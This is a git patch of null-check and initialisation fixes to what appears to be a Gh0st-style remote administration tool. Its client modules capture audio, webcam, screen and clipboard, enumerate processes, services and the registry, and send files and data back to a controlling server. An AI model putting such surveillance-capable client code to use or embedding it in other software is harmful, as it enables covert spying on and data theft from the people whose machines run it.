From a2975d947113bda78cd08fe6bed145e03dc814ce Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Fri, 27 Dec 2024 01:40:40 +0800 Subject: [PATCH] solve some issues according to code analysis result --- client/Audio.cpp | 12 ++++++++---- client/Buffer.cpp | 3 ++- client/CaptureVideo.cpp | 9 +++++---- client/ClientDll.cpp | 7 +++++-- client/Common.cpp | 7 ++++--- client/FileManager.cpp | 20 ++++++++++++++++---- client/IOCPClient.cpp | 13 ++++++++----- client/IOCPClient.h | 4 ++++ client/KernelManager.cpp | 3 +++ client/KernelManager.h | 2 +- client/LoginServer.cpp | 8 ++++++++ client/RegisterOperation.cpp | 12 +++++++++++- client/ScreenManager.cpp | 5 ++++- client/ServicesManager.cpp | 9 ++++++--- client/SystemManager.cpp | 8 ++++++-- client/VideoManager.cpp | 4 ++-- client/dxtrans.h | 2 +- client/test.cpp | 18 +++++++----------- server/2015Remote/FileManagerDlg.cpp | 10 +++++----- 19 files changed, 106 insertions(+), 50 deletions(-) diff --git a/client/Audio.cpp b/client/Audio.cpp index a0b1d81..cd4b4e8 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -87,8 +87,10 @@ CAudio::~CAudio() if (m_bIsWaveOutUsed) { waveOutReset(m_hWaveOut); - for (int i = 0; i < 2; ++i) - waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); + for (int i = 0; i < 2; ++i) { + if (m_InAudioHeader[i]) + waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); + } waveOutClose(m_hWaveOut); } @@ -131,8 +133,10 @@ BOOL CAudio::InitializeWaveIn() } waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR)); - - ResumeThread(m_Thread); + if (m_Thread!=NULL) + { + ResumeThread(m_Thread); + } waveInStart(m_hWaveIn); //录音 m_bIsWaveInUsed = TRUE; diff --git a/client/Buffer.cpp b/client/Buffer.cpp index 44b72bf..bd43209 100644 --- a/client/Buffer.cpp +++ b/client/Buffer.cpp @@ -66,7 +66,8 @@ ULONG CBuffer::DeAllocateBuffer(ULONG ulLength) return 0; } PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); - + if (NewBase == NULL) + return 0; ULONG ulv1 = GetBufferLength(); //算原先内存的有效长度 CopyMemory(NewBase,m_Base,ulv1); diff --git a/client/CaptureVideo.cpp b/client/CaptureVideo.cpp index 51c6ac2..2a9edf5 100644 --- a/client/CaptureVideo.cpp +++ b/client/CaptureVideo.cpp @@ -12,10 +12,6 @@ CSampleGrabberCB mCB; CCaptureVideo::CCaptureVideo() { - if(FAILED(CoInitialize(NULL))) - { - return; - } m_pCapture = NULL; m_pGB = NULL; m_pMC = NULL; @@ -23,6 +19,11 @@ CCaptureVideo::CCaptureVideo() m_pBF = NULL; m_pGrabber = NULL; m_bExit = FALSE; + m_hWnd = NULL; + if (FAILED(CoInitialize(NULL))) + { + return; + } } CCaptureVideo::~CCaptureVideo() diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 560d401..1707c98 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -108,6 +108,9 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) g_uPort = uPort; HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); + if (hThread == NULL) { + return; + } #ifdef _DEBUG WaitForSingleObject(hThread, 200); #else @@ -134,14 +137,14 @@ DWORD WINAPI StartClient(LPVOID lParam) g_bThreadExit = false; while (!g_bExit) { - DWORD dwTickCount = GetTickCount(); + DWORD dwTickCount = GetTickCount64(); if (!ClientObject->ConnectServer(g_szServerIP, g_uPort)) { for (int k = 500; !g_bExit && --k; Sleep(10)); continue; } //准备第一波数据 - SendLoginInfo(ClientObject, GetTickCount()-dwTickCount); + SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount); CKernelManager Manager(ClientObject); bool bIsRun = 0; diff --git a/client/Common.cpp b/client/Common.cpp index 3b76bd1..445869d 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -31,9 +31,10 @@ HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, hThread = (HANDLE)CreateThread(SecurityAttributes, dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList, dwCreationFlags, (LPDWORD)ThreadId); - - WaitForSingleObject(ThreadArgList.hEvent, INFINITE); - CloseHandle(ThreadArgList.hEvent); + if (ThreadArgList.hEvent != NULL) { + WaitForSingleObject(ThreadArgList.hEvent, INFINITE); + CloseHandle(ThreadArgList.hEvent); + } return hThread; } diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 71659e3..290d920 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -251,8 +251,8 @@ UINT CFileManager::SendDriveList() unsigned __int64 HDAmount = 0; unsigned __int64 HDFreeSpace = 0; - unsigned long AmntMB = 0; // 总大小 - unsigned long FreeMB = 0; // 剩余空间 + unsigned __int64 AmntMB = 0; // 总大小 + unsigned __int64 FreeMB = 0; // 剩余空间 DWORD dwOffset = 1; for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) @@ -260,7 +260,7 @@ UINT CFileManager::SendDriveList() memset(FileSystem, 0, sizeof(FileSystem)); // 得到文件系统信息及大小 GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH); - SHFILEINFO sfi; + SHFILEINFO sfi = {}; SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); int nTypeNameLen = lstrlen(sfi.szTypeName) + 1; @@ -312,6 +312,10 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory) WIN32_FIND_DATA FindFileData; lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize); + if (lpList==NULL) + { + return 0; + } wsprintf(strPath, "%s\\*.*", lpszDirectory); hFile = FindFirstFile(strPath, &FindFileData); @@ -338,6 +342,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory) { nBufferSize += MAX_PATH * 2; lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE); + if (lpList == NULL) + continue; } pszFileName = FindFileData.cFileName; if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0) @@ -427,6 +433,10 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName) // 构造数据包,发送文件长度 int nPacketSize = lstrlen(lpszFileName) + 10; BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); + if (bPacket==NULL) + { + return 0; + } memset(bPacket, 0, nPacketSize); bPacket[0] = TOKEN_FILE_SIZE; @@ -467,6 +477,8 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer) DWORD nNumberOfBytesRead = 0; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER); + if (lpPacket == NULL) + return -1; // Token, 大小,偏移,文件名,数据 lpPacket[0] = TOKEN_FILE_DATA; memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE)); @@ -637,7 +649,7 @@ void CFileManager::GetFileData() // 1字节Token,四字节偏移高四位,四字节偏移低四位 BYTE bToken[9]; - DWORD dwCreationDisposition; // 文件打开方式 + DWORD dwCreationDisposition = 0; // 文件打开方式 memset(bToken, 0, sizeof(bToken)); bToken[0] = TOKEN_DATA_CONTINUE; diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 776fd2d..0aba840 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -96,7 +96,9 @@ inline string GetIPAddress(const char *hostName) for (int i = 0; host->h_addr_list[i]; ++i) printf("获取的第%d个IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i])); #endif - return host ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : ""; + if (host == NULL || host->h_addr_list == NULL) + return ""; + return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : ""; } BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort) @@ -153,7 +155,7 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort) DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) { IOCPClient* This = (IOCPClient*)lParam; - char szBuffer[MAX_RECV_BUFFER] = {0}; + char* szBuffer = new char[MAX_RECV_BUFFER]; fd_set fd; const struct timeval tm = { 2, 0 }; @@ -180,9 +182,9 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) } else if (iRet > 0) { - memset(szBuffer, 0, sizeof(szBuffer)); - int iReceivedLength = recv(This->m_sClientSocket, - szBuffer,sizeof(szBuffer), 0); //接收主控端发来的数据 + memset(szBuffer, 0, MAX_RECV_BUFFER); + int iReceivedLength = recv(This->m_sClientSocket, + szBuffer, MAX_RECV_BUFFER, 0); //接收主控端发来的数据 if (iReceivedLength <= 0) { int a = GetLastError(); @@ -205,6 +207,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) } This->m_bWorkThread = S_STOP; This->m_bIsRunning = FALSE; + delete[] szBuffer; return 0xDEAD; } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index cf0eca6..5fdf5c3 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -46,6 +46,10 @@ public: return m_bIsRunning; } + void SetExit() { + m_bIsRunning = FALSE; + } + BOOL m_bIsRunning; BOOL m_bConnected; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 7b7de05..6df4dd2 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -164,6 +164,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) default: { OutputDebugStringA("======> Error operator\n"); + char buffer[256] = {}; + strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer)); + printf("!!! Unknown command: %s\n", buffer); if (m_ulThreadCount != -1) { delete m_hThread[m_ulThreadCount].p; m_hThread[m_ulThreadCount].p = NULL; diff --git a/client/KernelManager.h b/client/KernelManager.h index 2c78dd7..3736993 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -12,7 +12,7 @@ #include "Manager.h" #include -#define MAX_THREADNUM 0x1000 +#define MAX_THREADNUM 0x1000>>2 // 线程信息结构体, 包含3个成员: 运行状态(run)、句柄(h)和通讯客户端(p). struct ThreadInfo diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 6f6bb16..efa8132 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -17,8 +17,16 @@ std::string getSystemName() //先判断是否为win8.1或win10 typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*); HINSTANCE hinst = LoadLibrary("ntdll.dll"); + if (hinst == NULL) + { + return vname; + } DWORD dwMajor, dwMinor, dwBuildNumber; NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers"); + if (proc==NULL) + { + return vname; + } proc(&dwMajor, &dwMinor, &dwBuildNumber); if (dwMajor == 6 && dwMinor == 3) //win 8.1 { diff --git a/client/RegisterOperation.cpp b/client/RegisterOperation.cpp index 1e98924..f24c9f3 100644 --- a/client/RegisterOperation.cpp +++ b/client/RegisterOperation.cpp @@ -88,6 +88,9 @@ char* RegisterOperation::FindPath() DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11] szBuffer=(char*)LocalAlloc(LPTR, DataSize); + if (szBuffer == NULL) { + return NULL; + } ZeroMemory(szBuffer,DataSize); szBuffer[0]=TOKEN_REG_PATH; //命令头 REGMSG msg; //数据头 @@ -148,13 +151,20 @@ char* RegisterOperation::FindKey() DWORD size=sizeof(REGMSG)+ sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10; szBuffer = (char*)LocalAlloc(LPTR, size); + if (szBuffer==NULL) + { + return NULL; + } ZeroMemory(szBuffer,size); szBuffer[0]=TOKEN_REG_KEY; //命令头 memcpy(szBuffer+1,(void*)&msg,msgsize); //数据头 szValueName=(char *)malloc(NameSize); szValueDate=(LPBYTE)malloc(DataSize); - + if (szValueName==NULL||szValueDate == NULL) + { + return NULL; + } char *szTemp=szBuffer+msgsize+1; for(dwIndex=0;dwIndexGetBIData(), ulLength - 1); @@ -180,6 +181,8 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength) if (hGlobal != NULL) { LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal); + if (szClipboardVirtualAddress == NULL) + return; memcpy(szClipboardVirtualAddress, szBuffer, ulLength); GlobalUnlock(hGlobal); SetClipboardData(CF_TEXT, hGlobal); diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp index dd4a9b7..4c38ea6 100644 --- a/client/ServicesManager.cpp +++ b/client/ServicesManager.cpp @@ -65,7 +65,8 @@ LPBYTE CServicesManager::GetServicesList() &dwResumeHandle); szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH); - + if (szBuffer == NULL) + return NULL; szBuffer[0] = TOKEN_SERVERLIST; dwOffset = 1; for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,显示所有的服务 @@ -82,7 +83,8 @@ LPBYTE CServicesManager::GetServicesList() } ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024); - + if (ServicesInfor == NULL) + continue; QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle); //查询服务的启动类别 @@ -120,7 +122,8 @@ LPBYTE CServicesManager::GetServicesList() if (LocalSize(szBuffer) < (dwOffset + dwLength)) szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE); - + if (szBuffer == NULL) + continue; memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName, lstrlen(ServicesStatus[i].lpDisplayName) + 1); dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//真实名称 diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 2bf10d8..01dbf3f 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -78,7 +78,8 @@ LPBYTE CSystemManager::GetProcessList() HMODULE hModules = NULL; //进程中第一个模块的句柄 LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //暂时分配一下缓冲区 - + if (szBuffer == NULL) + return NULL; szBuffer[0] = TOKEN_PSLIST; //注意这个是数据头 dwOffset = 1; @@ -263,12 +264,15 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要 //同进程管理一样我们注意他的发送到主控端的数据结构 if (szBuffer == NULL) szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //暂时分配缓冲区 - + if (szBuffer == NULL) + return FALSE; //[消息][4Notepad.exe\0] dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1; dwOffset = LocalSize(szBuffer); //1 //重新计算缓冲区大小 szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE); + if (szBuffer == NULL) + return FALSE; //下面两个memcpy就能看到数据结构为 hwnd+窗口标题+0 memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD)); memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1); diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index d420137..bb76f07 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -55,11 +55,11 @@ DWORD CVideoManager::WorkThread(LPVOID lParam) while (This->m_bIsWorking) { // 限制速度 - int span = sleep-(GetTickCount() - dwLastScreen); + int span = sleep-(GetTickCount64() - dwLastScreen); Sleep(span > 0 ? span : 1); if (span < 0) printf("SendScreen Span = %d ms\n", span); - dwLastScreen = GetTickCount(); + dwLastScreen = GetTickCount64(); if(FALSE == This->SendNextScreen()) break; } diff --git a/client/dxtrans.h b/client/dxtrans.h index 8df2ff7..8dc47e3 100644 --- a/client/dxtrans.h +++ b/client/dxtrans.h @@ -1655,7 +1655,7 @@ public: BYTE Green; BYTE Red; BYTE Alpha; - DXBASESAMPLE() {} + DXBASESAMPLE():Blue(0), Green(0), Red(0), Alpha(0) {} DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) : Alpha(alpha), Red(red), diff --git a/client/test.cpp b/client/test.cpp index 7b9edd9..651a55c 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -119,17 +119,13 @@ int main(int argc, const char *argv[]) { char *ip = g_ConnectAddress.szServerIP; int &port = g_ConnectAddress.iPort; - if (0 == strlen(ip)) - { - strcpy(p+1, "settings.ini"); - if (_access(path, 0) == -1){ - ip = argc > 1 ? argv[1] : "127.0.0.1"; - port = argc > 2 ? atoi(argv[2]) : 19141; - } - else { - GetPrivateProfileStringA("settings", "localIp", "yuanyuanxiang.oicp.net", ip, _MAX_PATH, path); - port = GetPrivateProfileIntA("settings", "ghost", 19141, path); - } + strcpy(p + 1, "settings.ini"); + if (_access(path, 0) == -1) { // 文件不存在: 优先从参数中取值,其次是从g_ConnectAddress取值. + ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip); + port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port); + } else { + GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path); + port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path); } printf("[server] %s:%d\n", ip, port); do diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index fcbb524..8138335 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -170,7 +170,7 @@ END_MESSAGE_MAP() int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes) { - SHFILEINFO sfi; + SHFILEINFO sfi = {}; if (dwFileAttributes == INVALID_FILE_ATTRIBUTES) dwFileAttributes = FILE_ATTRIBUTE_NORMAL; else @@ -359,7 +359,7 @@ void CFileManagerDlg::FixedLocalDriveList() m_list_local.SetItemData(nItem, 1); if (lstrlen(FileSystem) == 0) { - SHFILEINFO sfi; + SHFILEINFO sfi = {}; SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); m_list_local.SetItemText(nItem, 1, sfi.szTypeName); } @@ -467,7 +467,7 @@ void CFileManagerDlg::FixedLocalFileList(CString directory) int nItem = m_list_local.InsertItem(nItemIndex++, file.GetFileName(), GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath()))); m_list_local.SetItemData(nItem, file.IsDirectory()); - SHFILEINFO sfi; + SHFILEINFO sfi = {}; SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); m_list_local.SetItemText(nItem, 2, sfi.szTypeName); @@ -1045,7 +1045,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) { // 重新设置ImageList - SHFILEINFO sfi; + SHFILEINFO sfi = {}; HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON); HIMAGELIST hImageListSmall = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON); ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL); @@ -1097,7 +1097,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) { nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType)); m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); - SHFILEINFO sfi; + SHFILEINFO sfi = {}; SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); m_list_remote.SetItemText(nItem, 2, sfi.szTypeName); }